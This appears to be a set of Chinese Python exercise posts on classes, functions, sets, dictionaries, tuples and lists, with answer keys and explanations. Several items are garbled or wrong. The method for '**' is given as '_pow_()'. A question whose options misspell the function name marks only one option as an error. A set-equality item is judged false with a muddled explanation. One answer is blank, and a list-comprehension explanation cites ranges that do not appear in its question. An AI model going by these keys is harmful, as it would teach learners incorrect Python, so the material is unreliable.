在设计派生类时，基类的私有成员默认是不会继承的。(   )

答案：对

解析：在 Python 中，基类的私有成员（使用双下划线前缀定义的成员）默认不会被派生类继承，这是名称修饰的结果。

# 填空题

# 1. 题目

在Python中，不论类的名字是什么，构造方法的名字都是______

答案：__init__

解析：在 Python 中，构造方法的固定名称是____init____，用于初始化对象。

# 2. 题目

在Python中定义类时，与特殊方法名__floordiv__()对应的运算符为__________

答案：//

解析：在 Python 中，__floordiv__() 方法对应于整数除法运算符 //。

# 3. 题目

定义类时，在一个方法前面使用装饰器_________进行修饰，则该方法属于类方法。

答案：@classmethod

解析：@classmethod 装饰器用于定义类方法，类方法的第一个参数通常是 cls，表示类本身。

# 4. 题目

在Python定义类时，与运算符“**”对应的特殊方法名为_____

答案：_pow_()

解析：在 Python 中，_pow_() 方法对应于幂运算符 **。

# 5. 题目

通过装饰器________可以将类中的方法当作属性成员进行访问。

答案：@property

解析：@property 装饰器用于将方法转换为属性，可以通过属性访问的方式调用方法，而不需要加括号。

Python程序设计习题——函数

2026-01-17T16:15:37.000Z

# 函数

# 选择题

# 1. 题目

	函数如下：
	def showNnumber(numbers):
	for n in numbers:
	print(n)
	下面哪些在调用函数时会报错（）

	A.showNumer([2,4,5])
	B.showNnumber(‘abcesf’)
	C.showNnumber(3.4)
	D.showNumber((12,4,5))

答案：C

选项 A：传入列表 [2,4,5]，列表是可迭代对象，能够被 for 循环遍历，不报错。

选项 B：传入字符串 'abcesf'，字符串是可迭代对象，能够被 for 循环遍历，不报错。

选项 C：传入浮点数 3.4，浮点数是不可迭代对象，无法被 for 循环遍历，会报错，这是唯一会报错的选项。

选项 D：传入元组 (12,4,5)，元组是可迭代对象，能够被 for 循环遍历，不报错。

# 2. 题目

	函数如下：
	def chanageInt(number2):
	number2 = number2+1
	print("changeInt: number2= ",number2)
	#调用
	number1 = 2
	chanageInt(number1)
	print("number:",number1)
	显示结果哪项是正确的（）

	A.
	number: 2
	changeInt: number2= 3
	B.
	changeInt: number2= 3
	number: 2
	C.
	changeInt: number2= 3
	number: 3
	D.
	number: 2
	changeInt: number2= 2

答案：B

选项 A：执行顺序错误，应该先调用函数打印函数内部信息，再打印全局变量，错误。

选项 B：执行顺序正确，函数内部打印 changeInt: number2= 3，然后打印全局变量 number: 2（整数是不可变类型，函数内修改不影响外部变量），正确。

选项 C：错误认为外部变量 number1 会变为 3，整数是不可变类型，函数内修改不影响外部变量，错误。

选项 D：执行顺序错误，且函数内部 number2 的值错误，错误。

# 3. 题目

	调用以下函数返回的值( )
	def myfun():
	pass

	A. 空字符串
	B. 0
	C. 出错不能运行
	D. None

答案：D

选项 A：空字符串是明确的字符串类型值，函数未显式返回，不会默认返回空字符串，错误。

选项 B：0 是整数类型值，函数未显式返回，不会默认返回 0，错误。

选项 C：pass 语句让函数定义合法，调用函数不会出错，错误。

选项 D：Python 函数无显式 return 语句时，默认返回 None，正确。

# 4. 题目

	(多选)
	已知函数定义
	def func(*p):
	return sum(p)
	那么下列表达式能得到正确结果的是（）。

	A.func(1, 2, 3, 4)
	B.func(*{1, 2, 3, 4})
	C.func([1, 2, 3, 4])
	D.func(*(1, 2, 3, 4))

答案：ABD

选项 A：直接传入 4 个整数位置实参，*p 打包为元组 (1,2,3,4)，sum 计算结果为 10，正确。

选项 B：* 对集合解包为 4 个独立整数实参，*p 打包为元组，sum 计算结果为 10，正确。

选项 C：直接传入列表 [1,2,3,4]，*p 打包为元组 ([1,2,3,4])，sum 无法对列表求和，错误。

选项 D：* 对元组解包为 4 个独立整数实参，*p 打包为元组，sum 计算结果为 10，正确。

# 5. 题目

	(多选)
	函数如下：
	def chanageList(list):
	list.append(" end")
	print("list",list)
	#调用
	strs =['1','2']
	chanageList(strs)
	print("strs",strs)
	下面对 strs 和 list 的值输出正确的是( )


	A.list ['1','2',’end’]
	B.strs ['1','2',’end’]
	C.list ['1','2']
	D.strs ['1','2']

答案：AB

选项 A：函数内调用 append ("end") 后，列表变为 ['1','2','end']，print 输出 list ['1','2','end']，正确。

选项 B：列表是可变对象，函数内修改会影响外部原始对象，因此 strs 的值也是 ['1','2','end']，正确。

选项 C：函数内已经调用 append ("end")，列表内容已修改，错误。

选项 D：列表是可变对象，函数内修改会影响外部原始对象，strs 的值已修改，错误。

# 判断题

# 1. 题目

在定义函数时，某个参数名字前面带有一个*符号表示可变长度参数，可以接收任意多个普通实参并存放于一个元组之中。  (   )

答案：对

解析：在函数定义中，参数名前加一个 * ，表示该参数用于接收任意数量的位置实参，将这些实参按顺序打包成一个元组，参数名指向这个元组。

# 2. 题目

定义函数时，即使该函数不需要接收任何参数，也必须保留一对空的圆括号来表示这是一个函数。(    )

答案：对

解析：在 Python 中，函数的定义格式为 def 函数名(参数列表): ，其中圆括号 () 是语法必需项，用于明确标识这是一个函数定义，即使函数不需要接收任何参数，也必须保留空的圆括号。

# 填空题

# 1. 题目

表达式 list(filter(lambda x:x>2, [0,1,2,3,0,0])) 的值为______

答案：[3]

解析： filter(lambda x:x>2, [0,1,2,3,0,0]) 过滤出大于 2 的元素（只有 3），返回迭代器； list() 将迭代器转换为列表 [3]。

# 2. 题目

已知formatter = 'good {0}'.format，那么表达式list(map(formatter, ['morning','afternoon']))的值为_______

答案：['good morning','good afternoon']

解析： formatter 绑定了字符串 'good {0}' 的 format 方法，作用是接收一个字符串参数并返回格式化字符串； map() 将 formatter 应用到 ['morning','afternoon'] 的每个元素，得到 ['good morning','good afternoon']。

# 3. 题目

已知函数定义 def func(**p): return sum(p.values())， 那么表达式 func(x=1, y=2, z=3) 的值为_______

答案：6

解析： **p 将关键字参数收集为字典 {'x':1, 'y':2, 'z':3}； sum(p.values()) 对字典的值求和，结果为 1+2+3=6。

# 4. 题目

已知 g = lambda x, y=3, z=5: x*y*z，则语句 print(g(1)) 的输出结果为______

答案：15

解析：lambda 函数定义了默认参数 y=3 和 z=5，调用 g (1) 时仅传入 x=1，y 和 z 使用默认值；计算 135=15。

# 5. 题目

已知函数定义 def func(**p): return ''.join(sorted(p)) 那么表达式 func(x=1, z=3, y=2)的值为____

答案：'xyz'

解析： **p 将关键字参数收集为字典 {'x':1, 'z':3, 'y':2}； sorted(p) 对字典的键进行排序得到 ['x','y','z']； ''.join() 将排序后的键拼接为字符串 'xyz'。

# 6. 题目

如果函数中没有return语句或者return语句不带任何返回值，那么该函数的返回值为____

答案：None

解析：Python 规定，所有函数都有返回值，无论是否显式书写 return 语句。如果函数中没有 return 语句或 return 语句不带任何返回值，函数执行结束后都会默认返回 None。

# 7. 题目

表达式 list(map(list,zip(*[[1, 2, 3], [4, 5, 6]]))) 的值为_____

答案：[[1,4],[2,5],[3,6]]

解析： *[[1,2,3],[4,5,6]] 解包为 [1,2,3] 和 [4,5,6]； zip() 按位置打包为 ((1,4),(2,5),(3,6))； map(list, ...) 将每个元组转换为列表； list() 转换为最终的二维列表 [[1,4],[2,5],[3,6]]。

# 8. 题目

	下面的代码输出结果为_______。
	def demo():
	x = 5
	x = 3
	demo()
	print(x)

答案：3

解析：函数内部的 x 是局部变量，作用域仅局限于函数内部；外部的 x 是全局变量，值为 3；函数调用结束后，打印的是全局变量 x 的值 3。

# 9. 题目

表达式 list(map(lambda x: x+5, [1, 2, 3, 4, 5])) 的值为______

答案：[6,7,8,9,10]

解析： lambda x: x+5 定义了给每个元素加 5 的规则； map() 将该规则应用到 [1,2,3,4,5] 的每个元素，得到 [6,7,8,9,10]。

# 10. 题目

已知formatter = 'good {0}'.format,那么表达式list(map(formatter, ['morning']))的值为_______

答案：['good morning']

解析： formatter 绑定了字符串 'good {0}' 的 format 方法； map() 将 formatter 应用到 ['morning'] 的元素，得到 ['good morning']。

# 11. 题目

已知 f = lambda x: 5，那么表达式 f(3)的值为_______

答案：5

解析：该 lambda 函数无论传入什么参数，都固定返回 5，因此 f (3) 的值为 5。

# 12. 题目

已知函数定义 def demo(x, y, op): return eval(str(x)+op+str(y)) 那么表达式demo(3, 5, '*')的值为______

答案：15

解析： str(x)+op+str(y) 拼接为字符串 '3*5'； eval() 执行该字符串表达式，计算 3*5=15。

# 13. 题目

已知有函数定义 def demo(*p): return sum(p) 那么表达式 demo(1, 2, 3, 4) 的值为_______

答案：10

解析： *p 将位置参数收集为元组 (1,2,3,4)； sum() 对元组的元素求和，结果为 1+2+3+4=10。

Python程序设计习题——集合

2026-01-17T16:14:13.000Z

# 集合

# 选择题

# 1. 题目

	需要对集合x = {1, 6, 2, 4, 3, 5}中的元素进行排序,下列说法正确的是( )

	A.可以用sorted(x)排序,结果为一列表
	B.可以用x.sort()排序,结果为一有序集合
	C.可以用sorted(x)排序,结果为一有序集合
	D.可以用x.sort()排序,结果为一列表

答案：A

选项 A： sorted() 是 Python 内置全局排序函数，支持对所有可迭代对象（包括集合）进行排序，返回值固定为列表，正确。

选项 B：集合没有 sort() 方法，且 Python 中不存在 “有序集合” 的默认类型，错误。

选项 C： sorted() 函数的返回值是列表，而非集合，错误。

选项 D：集合没有 sort() 方法，无法调用该方法执行排序操作，错误。

# 2. 题目

	已知集合set1 = {(1, 'b'), (3, 'c'), (4, 'd'), (2, 'a')},语句sorted(set1,key=lambda x:x[1])的结果为___________________.

	A.[(2, 'a'), (1, 'b'), (3, 'c'), (4, 'd')]
	B.[(1, 'b'), (2, 'a'), (3, 'c'), (4, 'd')]
	C.{(2, 'a'), (1, 'b'), (3, 'c'), (4, 'd')}
	D.{(1, 'b'), (2, 'a'), (3, 'c'), (4, 'd')}

答案：A

选项 A： sorted() 函数返回值固定为列表，且 key=lambda x:x[1] 表示按元组的第二个元素（字符串）升序排序，结果为 [(2, 'a'), (1, 'b'), (3, 'c'), (4, 'd')]，正确。

选项 B：排序顺序错误，(2, 'a') 应该排在 (1, 'b') 之前，错误。

选项 C： sorted() 函数返回值是列表，不是集合，错误。

选项 D： sorted() 函数返回值是列表，不是集合，且排序顺序错误，错误。

# 判断题

# 1. 题目

字典可以作为集合的元素。   (  )

答案：错

解析：集合的元素必须是可哈希对象，而字典是可变对象，不可哈希，因此字典不能作为集合的元素。

# 2. 题目

已知AB为两个集合,若AB一定为True.   (   )

答案：错

解析：题目表述不完整，假设是 A.issubset(B) 或类似操作，并非对于任意两个集合都一定为 True，需要根据集合的实际元素来判断。

# 3. 题目

表达式 {1, 3, 2} > {1, 2, 3} 的值为True。  (   )

答案：错

解析：Python 中的集合是无序的，{1, 3, 2} 和 {1, 2, 3} 是相等集合。集合的 > 运算符用于判断前一个集合是否是后一个集合的真超集，相等集合之间不存在真超集关系，因此表达式的值为 False。

# 4. 题目

集合只能包含不可变数据,不能包含可变数据. (   )

答案：对

解析：集合的元素必须是可哈希对象（即不可变对象），这样才能保证集合的唯一性和高效的查找效率。可变对象（如列表、字典）不可哈希，不能作为集合的元素。

# 5. 题目

集合的元素可以是列表.   (  )

答案：错

解析：列表是可变对象，不可哈希，而集合的元素必须是可哈希对象，因此列表不能作为集合的元素。

# 6. 题目

已知 x = {1, 2, 3}，那么执行语句 x.add(3) 之后，x的值为{1, 2, 3, 3}。   (   )

答案：错

解析：集合的核心特性是元素唯一，不允许重复。执行 x.add(3) 时，由于 3 已经存在于集合中，集合不会发生任何变化，x 的值仍然是 {1, 2, 3}。

# 7. 题目

集合中的元素可以重复.  (  )

答案：错

解析：集合是无序且不包含重复元素的容器，无论通过何种方式向集合中添加元素，集合都不会保留重复项。

# 8. 题目

字典和集合属于无序序列.  (  )

答案：对

解析：在 Python 中，字典和集合都是无序的容器类型，它们的元素存储顺序不遵循插入顺序（Python 3.7 + 虽保留字典插入顺序，但本质仍不是序列类型）。

# 9. 题目

set([1, 3, 4, 5, 2, 3, 6, 7])和集合{1, 3, 4, 5, 2, 3, 6, 7}相等.(   )

答案：错

解析：题目表述的错误在于：{1, 3, 4, 5, 2, 3, 6, 7} 本身不是 “原始输入的集合”，而是一个 “带有重复元素的非法集合字面量书写形式”。集合的本质是不允许重复元素的，因此不存在 “包含重复 3 的集合”，这个书写形式本身是不符合集合定义的。

# 10. 题目

字典可以作为集合的元素.  (    )

答案：错

解析：集合的元素必须是可哈希对象，而字典是可变对象，不可哈希，因此字典不能作为集合的元素。

# 填空题

# 1. 题目

表达式type({3})的值为_________

答案：set

解析： {3} 是集合的字面量表示方式， type({3}) 返回该对象的类型，即 set 。

# 2. 题目

语句set(dict(zip([1, 2], [3, 4])))的结果为_________

答案：{1,2}

解析： zip([1, 2], [3, 4]) 生成元组 (1,3)、(2,4)； dict() 将这些元组转换为字典 {1: 3, 2: 4}； set() 提取字典的键，得到集合 {1,2}。

# 3. 题目

给定一个列表li = [1,2,3,1,2],请利用集合通过一条语句去除其中的重复数,最终以列表的形式进行输出.这条语句是________

答案：print (list (set (li))

解析： set(li) 利用集合的唯一性特性去除列表中的重复元素； list() 将集合转回列表； print() 输出最终结果。

# 4. 题目

语句set(zip([1, 2], [3, 4]))的结果为_______

答案：{(1,3),(2,4)}

解析： zip([1, 2], [3, 4]) 生成元组 (1,3)、(2,4)； set() 将这些元组作为元素创建集合，得到 {(1,3),(2,4)}。

# 5. 题目

表达式{*range(4), 4, *(5, 6, 7)}的值为_________

答案：

解析： *range(4) 展开为 0,1,2,3； *(5, 6, 7) 展开为 5,6,7；加上 4，所有元素组合成集合 {0,1,2,3,4,5,6,7}。

# 6. 题目

表达式 {1, 2, 3} - {3, 4, 5} 的值为_______

答案：{1,2}

解析：集合的 - 运算符用于计算前一个集合相对于后一个集合的差集，即返回包含所有在第一个集合中存在但在第二个集合中不存在的元素的新集合。

# 7. 题目

已知x = [1, 2, 3]，那么表达式not (set(x*100)&set(x))的值为_________

答案：False

解析： x*100 生成包含 1,2,3 重复 100 次的列表； set(x*100) 和 set(x) 都得到集合 {1,2,3}； set(x*100)&set(x) 计算交集，结果为 {1,2,3}； not 对非空集合返回 False。

# 8. 题目

已知l1 = list({1, 3, 4, 5, 2, 3, 6, 7}),则len(l1)的值为______

答案：7

解析：集合 {1, 3, 4, 5, 2, 3, 6, 7} 自动去重后包含 7 个元素（1,2,3,4,5,6,7）； list() 将集合转换为列表， len(l1) 返回列表的长度 7。

Python程序设计习题——字典

2026-01-17T16:12:31.000Z

# 字典

# 选择题

# 1. 题目

	以下哪个不可以当作字典的键( )

	A.列表
	B.元组
	C.整数
	D.字符串

答案：A

选项 A：列表是可变对象，不可哈希，不能作为字典的键。

选项 B：元组是不可变对象，可哈希，可以作为字典的键。

选项 C：整数是不可变对象，可哈希，可以作为字典的键。

选项 D：字符串是不可变对象，可哈希，可以作为字典的键。

# 2. 题目

	给定字典d, 以下可以清空字典并保留变量的是( )

	A.d.clear()
	B.del d
	C.d.pop()
	D.d.remove()

答案：A

选项 A： d.clear() 清空字典中所有的键值对，使字典变为空字典，但字典变量 d 依然存在。

选项 B： del d 删除字典变量 d，字典不再存在，不符合 “保留变量” 的要求。

选项 C： d.pop() 删除并返回指定键对应的键值对，需要传入参数，且只能删除单个键值对，无法清空整个字典。

选项 D：字典没有 remove() 方法，这是列表的方法。

# 3. 题目

	以下不能创建一个字典的语句是（）

	A.dict2 = { 3 : 5 }
	B.dict3 = {[1,2,3]: "uestc"}
	C.dict1 = {}
	D.dict4 = {(1,2,3): "uestc"}

答案：B

选项 A：使用字面量创建字典，键是整数 3，值是整数 5，合法。

选项 B：尝试用列表 [1,2,3] 作为字典的键，列表是可变不可哈希对象，不合法，这是核心错误选项。

选项 C：使用空大括号创建空字典，合法。

选项 D：使用元组 (1,2,3) 作为字典的键，元组是不可变可哈希对象，合法。

# 4. 题目

	print(list({'a':1, 'b':2, 'c':3}))输出结果为( )

	A.['a’, 'b’, 'c']
	B.[1,2,3]
	C.[('a',1), ('b',2), ('c',3)]
	D.[(1,'a'), (2,'b'), (3,'c')]

答案：A

选项 A：字典默认迭代的是键， list(字典) 将键转换为列表，结果为 ['a', 'b', 'c']，正确。

选项 B：如果要获取值的列表，应该使用 list(字典.values()) ，直接转换字典不会得到值的列表。

选项 C：如果要获取键值对的列表，应该使用 list(字典.items()) 。

选项 D：这是将键值对反转后的结果，不是默认行为。

# 5. 题目

	dict = {"name": "wangwu", "age": 22}
	print(dict["sex"])和print(dict.get("sex"))输出是什么( )

	A.None, None
	B.None, KeyError
	C.KeyError, KeyError
	D.KeyError, None

答案：D

选项 A： dict["sex"] 会抛出 KeyError，不是 None。

选项 B：顺序错误， dict["sex"] 会抛出 KeyError， dict.get("sex") 返回 None。

选项 C： dict.get("sex") 不会抛出 KeyError，而是返回 None。

选项 D： dict["sex"] 抛出 KeyError， dict.get("sex") 返回 None，正确。

# 判断题

# 1. 题目

给字典不存在的键赋值时会报错.   (   )

答案：错

解析：对于普通的 Python 字典，当键不存在时，执行 字典[不存在的键] = 值 的操作，会自动在字典中新增一个键值对，程序正常执行，无任何报错。

# 2. 题目

字典对象的get()方法可以获取指定“键”对应的“值”，并且可以在指定“键”不存在的时候返回指定值，如果不指定则返回None。 (   )

答案：对

解析： 字典.get(key, default=None) 方法的功能是：当 key 存在时，返回该键对应的值；当 key 不存在时，返回 default 指定的值（若不指定，默认返回 None）。

# 3. 题目

字典可以作为集合的元素。  (   )

答案：错

解析：字典是可变对象，不可哈希，而集合的元素必须是可哈希对象。因此，字典不能作为集合的元素。

# 4. 题目

假设有列表a = ['name', 'age', 'sex']和b = ['Dong', 38, 'Male']，请使用一个语句将这两个列表的内容转换为字典，并且以列表a中的元素为“键”，以列表b中的元素为“值”，这个语句可以写为c = dict(zip(a, b))。  (   )

答案：对

解析： zip(a, b) 按对应位置将两个列表的元素打包成元组， dict() 构造函数将这些元组转换为字典，键来自列表 a，值来自列表 b，符合要求。

# 5. 题目

已知x = {1:1, 2:2}，那么执行语句x[3] = 3之后，表达式sorted(x.items())的值为{(1, 1), (2, 2), (3, 3)}。   (   )

答案：错

解析： sorted() 函数的返回值固定为列表，不是集合。题目中将排序结果写为 {(1, 1), (2, 2), (3, 3)} （集合格式），这是语法类型错误。

# 6. 题目

已知 x = {'a':'b', 'c':'d'}，那么表达式 'a':'b' in x 的值为True。   (   )

答案：错

解析： 'a':'b' 是字典中键值对的字面量书写格式，仅能用于字典定义，不能作为独立表达式参与 in 判断。即使忽略语法错误， in 运算符在字典中仅判断键是否存在，不判断键值对。

# 7. 题目

任意长度的Python列表.元组.字符串和字典中最后一个元素的下标为-1.   (    )

答案：错

解析：只有列表、元组、字符串支持负索引（下标 - 1 表示最后一个元素），而字典不支持索引访问，不存在 “下标 - 1 对应最后一个元素” 的说法。

# 8. 题目

字典中值可以是任意类型.  (  )

答案：对

解析：Python 字典的值可以是任意内置类型或自定义类型，包括不可哈希对象（如列表、字典）也可作为字典的值。

# 填空题

# 1. 题目

已知 x = {1:2, 2:3}，那么表达式 x.get(2, 4) 的值为______

答案：3

解析： x.get(2, 4) 中，键 2 存在于字典中，因此返回该键对应的值 3，而不是默认值 4。

# 2. 题目

已知 x = {1:2, 2:3, 3:4}，那么表达式 sum(x) 的值为________

答案：6

解析： sum() 函数对字典操作时，默认迭代字典的键。字典 x 的键是 1、2、3，求和结果为 1+2+3=6。

# 3. 题目

已知字典 x = {i:_____ for i in range(3)}，那么表达式 ''.join(x.values()) 的值为'345'。

答案：str (i+3)

解析： range(3) 生成的 i 依次为 0、1、2，字典的值需要是 '3'、'4'、'5'。 str(i+3) 满足：i=0 时为 '3'，i=1 时为 '4'，i=2 时为 '5'。

# 4. 题目

	运行下列语句后
	data = {'x': 1, **{'y': 2}}
	k = min(data.items(), key=lambda item: -item[1])[1]
	k的值为_____

答案：2

解析： data = {'x': 1, **{'y': 2}} 合并为 {'x': 1, 'y': 2} 。 min(data.items(), key=lambda item: -item[1]) 按值的负数排序，即取值最大的键值对 ('y', 2)，然后取索引 1 的元素（值）得到 2。

# 5. 题目

表达式sorted({'a':3, 'b':9, 'c':78})的值为_______

答案：['a','b','c']

解析： sorted() 对字典操作时，默认迭代字典的键，并对键进行升序排序。字典的键是 'a'、'b'、'c'，排序后得到 ['a','b','c']。

# 6. 题目

已知字典 x = {i:str(i+3) for i in range(5)}，那么表达式 sum(item[0] for item in x.items()) 的值为_______

答案：10

解析： range(5) 生成的 i 依次为 0、1、2、3、4（字典的键）。 sum(item[0] for item in x.items()) 对字典的键求和，结果为 0+1+2+3+4=10。

Python程序设计习题——元组

2026-01-17T16:10:48.000Z

# 元组

# 选择题

# 1. 题目

	以下哪个是错误定义元组的方式( )

	A.x=(9,)
	B.x=(1)
	C.x=()
	D.x=(1,2,3)

答案：B

选项 A： x=(9,) → 正确。这是单元素元组的正确定义方式，必须在元素后面添加逗号。

选项 B： x=(1) → 错误。这里的圆括号仅起到优先级包裹的作用， (1) 本质上就是整数 1，不是元组。

选项 C： x=() → 正确。这是空元组的标准定义方式。

选项 D： x=(1,2,3) → 正确。这是多元素元组的正确定义方式。

# 2. 题目

	对于元组t = (1,2,3,4),以下哪个操作会报错 ( D )
	A.len(t)
	B.max(t)
	C.min(t)
	D.tuple[2] = 5

答案：D

选项 A： len(t) → 正确。 len() 函数可以获取元组的长度。

选项 B： max(t) → 正确。 max() 函数可以获取元组中的最大值。

选项 C： min(t) → 正确。 min() 函数可以获取元组中的最小值。

选项 D： tuple[2] = 5 → 错误。首先， tuple 是元组的类型名，不是变量名；其次，元组是不可变的，不支持元素赋值操作。

# 3. 题目

	(1, )2和(1)2输出为多少( )

	A.(2,), 2
	B.(1,1), 2
	C.(2,), (1,1)
	D.(1,1), (1,1)

答案：B

选项 A：(2,), 2 → 错误。(1,)*2 的结果是 (1,1)，不是 (2,)。

选项 B：(1,1), 2 → 正确。(1,)*2 是元组的重复操作，结果为 (1,1)；(1)*2 是整数 1 乘以 2，结果为 2。

选项 C：(2,), (1,1) → 错误。(1)*2 的结果是 2，不是 (1,1)。

选项 D：(1,1), (1,1) → 错误。(1)*2 的结果是 2，不是 (1,1)。

# 4. 题目

	语句x = 3==3, 5执行结束后，变量x的值为_____________。

	A.运行出错
	B.True
	C.(True, 5）
	D.5

答案：C

选项 A：运行出错 → 错误。该语句可以正常执行。

选项 B：True → 错误。x 的值是一个元组，不是单个布尔值。

选项 C：(True, 5）→ 正确。先执行 3==3 得到 True，然后逗号的作用是隐式打包为元组，所以 x 的值为 (True, 5)。

选项 D：5 → 错误。x 的值是一个元组，不是单个整数。

# 5. 题目

	t = (1,2,3) t.append((4,5,6)) print(t)输出是什么( )

	A.(1,2,3, (4,5,6))
	B.报错
	C.(1,2,3),(4,5,6)
	D.(1,2,3,4,5,6)

答案：B

选项 A：(1,2,3, (4,5,6)) → 错误。元组没有 append () 方法，无法调用该方法。

选项 B：报错 → 正确。元组是不可变对象，没有 append () 方法，调用该方法会抛出 AttributeError。

选项 C：(1,2,3),(4,5,6) → 错误。元组没有 append () 方法，无法得到这个结果。

选项 D：(1,2,3,4,5,6) → 错误。元组没有 append () 方法，无法得到这个结果。

# 判断题

# 1. 题目

python中列表.元组都属于有序序列.   (    )

答案：对

解析：在 Python 中，列表和元组都属于有序序列，元素的存储顺序严格遵循定义时的插入顺序，可以通过整数索引精准访问元素。

# 2. 题目

对于生成器对象x = (3 for i in range(5))，执行list(x)的结果是[3, 3, 3, 3, 3]，接着再执行set(x)的结果是{3}。    (     )

答案：错

解析：执行 list(x) 后，生成器 x 已经被完全耗尽，内部不再有可迭代的元素。因此，执行 set(x) 的结果是空集合，而非 {3}。

# 3. 题目

元组不可以进行修改,为不可变序列.  (    )

答案：对

解析：元组是不可变序列，一旦创建，其内部元素的指向就无法修改，不支持元素的赋值、新增、删除操作。

# 4. 题目

元组可以包含任意类型元素.  (    )

答案：对

解析：元组可以包含任意类型的元素，包括数字、字符串、列表、字典等，甚至可以包含其他元组。

# 5. 题目

语句 x,y = y,x 可以完成变量x,y中数据的交换.    (   )

答案：对

解析：这是 Python 中交换变量值的常用方法。执行该语句时，Python 会先将右侧的 y 和 x 打包成一个元组，然后将其解包并赋值给左侧的 x 和 y。

# 6. 题目

元组不能进行切片操作.    (   )

答案：错

解析：元组支持切片操作。切片操作返回一个新的元组，包含原元组中指定范围的元素，不会修改原元组（符合元组的不可变性）。

# 7. 题目

元组的访问速度比列表更块,如果不修改元素的话,建议使元组而非列表.    (   )

答案：对

解析：由于元组的不可变性，Python 可以为其分配固定大小的内存空间，访问时无需额外处理动态信息，因此访问速度比列表更快。

# 8. 题目

表达式(i**2 for i in range(100))的结果是个元组。    (   )

答案：错

解析：该表达式是生成器表达式，执行后返回的是一个生成器对象，而非元组。生成器表达式的圆括号是生成器的语法标识，而非元组的标识。

# 9. 题目

已知seq为长度大于10的列表，并且已导入random模块，那么[random.choice(seq) for i in range(10)]和random.sample(seq,10)等价。    (    )

答案：错

解析： random.choice(seq) 是有放回抽样，允许重复元素； random.sample(seq,10) 是无放回抽样，不允许重复元素。因此，这两个表达式不等价。

# 10. 题目

已知x和y是两个字符串，那么表达式sum((1 for i,j in zip(x,y) if i==j))可以用来计算两个字符串中对应位置字符相等的个数。    (    )

答案：对

解析：该表达式的逻辑是：遍历两个字符串的对应位置字符，每发现一对相等的字符就生成一个 1，最后对这些 1 求和，得到的就是对应位置字符相等的总个数。

# 填空题

# 1. 题目

执行代码 x, y, z = sorted([1, 3, 2]) 之后，变量y的值为________

答案：2

解析： sorted([1, 3, 2]) 返回排序后的列表 [1, 2, 3]，然后通过序列解包将这三个元素分别赋值给 x、y、z，因此 y 的值为 2。

# 2. 题目

执行语句 x,y,z = map(str, range(3)) 之后，变量y的值为______

答案：'1'

解析： range(3) 生成 0、1、2， map(str, range(3)) 将这三个整数转换为字符串 '0'、'1'、'2'，然后通过序列解包将这三个字符串分别赋值给 x、y、z，因此 y 的值为 '1'。

Python程序设计习题——列表与列表推导式

2026-01-17T16:08:35.000Z

# 列表与列表推导式

# 选择题

# 1. 题目

	x = [2,4,6,8]
	x.insert(1, 3)

	x值为( )

	A.[3, 2, 4, 6, 8]
	B.[2, 4, 1, 6, 8]
	C.[2, 4, 6, 1, 8]
	D.[2, 3, 4, 6, 8]

答案：D

选项 A：[3, 2, 4, 6, 8] → 错误。insert () 方法的第一个参数是插入位置，不是替换位置。

选项 B：[2, 4, 1, 6, 8] → 错误。insert (1, 3) 表示在索引 1 的位置插入 3，不是替换索引 1 的元素为 1。

选项 C：[2, 4, 6, 1, 8] → 错误。insert (1, 3) 不是在末尾插入，也不是替换末尾元素。

选项 D：[2, 3, 4, 6, 8] → 正确。insert (1, 3) 表示在索引 1 的位置插入元素 3，原索引 1 及之后的元素依次后移一位。

# 2. 题目

	x= list(range(7))
	del x[1:3]

	print(x)输出是什么( )

	A.[0, 3, 4, 5, 6]
	B.[0, 1, 3, 4, 5, 6]
	C.[0, 4, 5, 6]
	D.[0, 1, 4, 5, 6]

答案：A

选项 A：[0, 3, 4, 5, 6] → 正确。 list(range(7)) 生成列表 [0, 1, 2, 3, 4, 5, 6]， del x[1:3] 删除索引 1 到 2 的元素（左闭右开），即删除 1 和 2，剩余元素为 [0, 3, 4, 5, 6]。

选项 B：[0, 1, 3, 4, 5, 6] → 错误。del x [1:3] 会删除索引 1 和 2 的元素，不会保留索引 1 的元素。

选项 C：[0, 4, 5, 6] → 错误。del x [1:3] 只删除索引 1 和 2 的元素，不会删除索引 3 的元素。

选项 D：[0, 1, 4, 5, 6] → 错误。理由同选项 B。

# 3. 题目

	已知 x = [[1, 2, 3,], [4, 5, 6]]，那么表达式 sum([ij for i,j in zip(x)]) 的值为__________。

	A.100
	B.37
	C.60
	D.44

答案：C

选项 A：100 → 错误。计算结果应为 60。

选项 B：37 → 错误。计算过程：range (1,5) 生成 [1,2,3,4]，range (4,8) 生成 [4,5,6,7]，zip 后得到 [(1,4),(2,5),(3,6),(4,7)]，乘积和为 4+10+18+28=60。

选项 C：60 → 正确。计算过程同上。

选项 D：44 → 错误。计算结果应为 60。

# 判断题

# 1. 题目

对于数字n，如果表达式 0 not in [n%d for d in range(2, n)] 的值为True则说明n是素数。(  )

答案：对

解析：该表达式的含义是：对于 n，检查从 2 到 n-1 的所有整数 d，n 除以 d 的余数是否都不为 0。如果余数都不为 0（即 0 不在余数列表中），则 n 是素数。

# 填空题

# 1. 题目

已知 vec = [[1,2,3], [3,4,5]]，则表达式 [[row[i] for row in vec] for i in range(len(vec[0]))] 的值为________

答案：[[1, 3], [2, 4], [3, 5]]

解析：这是一个嵌套列表推导式。外层列表推导式 for i in range(len(vec[0])) 遍历原列表每行的列索引（原每行有 3 个元素，所以 i 取 0、1、2）。内层列表推导式 [row[i] for row in vec] 对每个列索引 i，提取原列表中每一行的第 i 个元素，组成新列表。最终结果是原矩阵的转置。

# 2. 题目

切片操作list(range(6))[::2]执行结果为________

答案：[0, 2, 4]

解析：切片格式为 列表[起始索引:结束索引:步长] 。 list(range(6)) 生成列表 [0, 1, 2, 3, 4, 5]。 [::2] 表示起始索引为 0（省略），结束索引为列表末尾（省略），步长为 2，即每隔 1 个元素取 1 个，结果为 [0, 2, 4]。

# 3. 题目

执行语句x = [[j] for i in range(3) for j in _______]之后，x的值为[[0], [0], [1], [0], [1], [2]]

答案：range (i+1)

解析：这是一个嵌套列表推导式。外层循环 i 依次取 0、1、2，内层循环 j 的取值范围由 range (i+1) 决定：当 i=0 时，j 取 0；当 i=1 时，j 取 0、1；当 i=2 时，j 取 0、1、2。最终生成的列表为 [[0], [0], [1], [0], [1], [2]]。

# 4. 题目

已知列表 x = [1, 2]，那么表达式 list(enumerate(x)) 的值为_________

答案：[(0,1),(1,2)]

解析： enumerate() 函数用于将列表转换为索引 - 元素对，默认索引从 0 开始。 list(enumerate(x)) 将枚举对象转换为列表，结果为 [(0,1),(1,2)]。

# 5. 题目

已知列表 x = [1, 2]，那么连续执行命令 y = x和 y.append(3) 之后，x的值为_______

答案：[1,2,3]

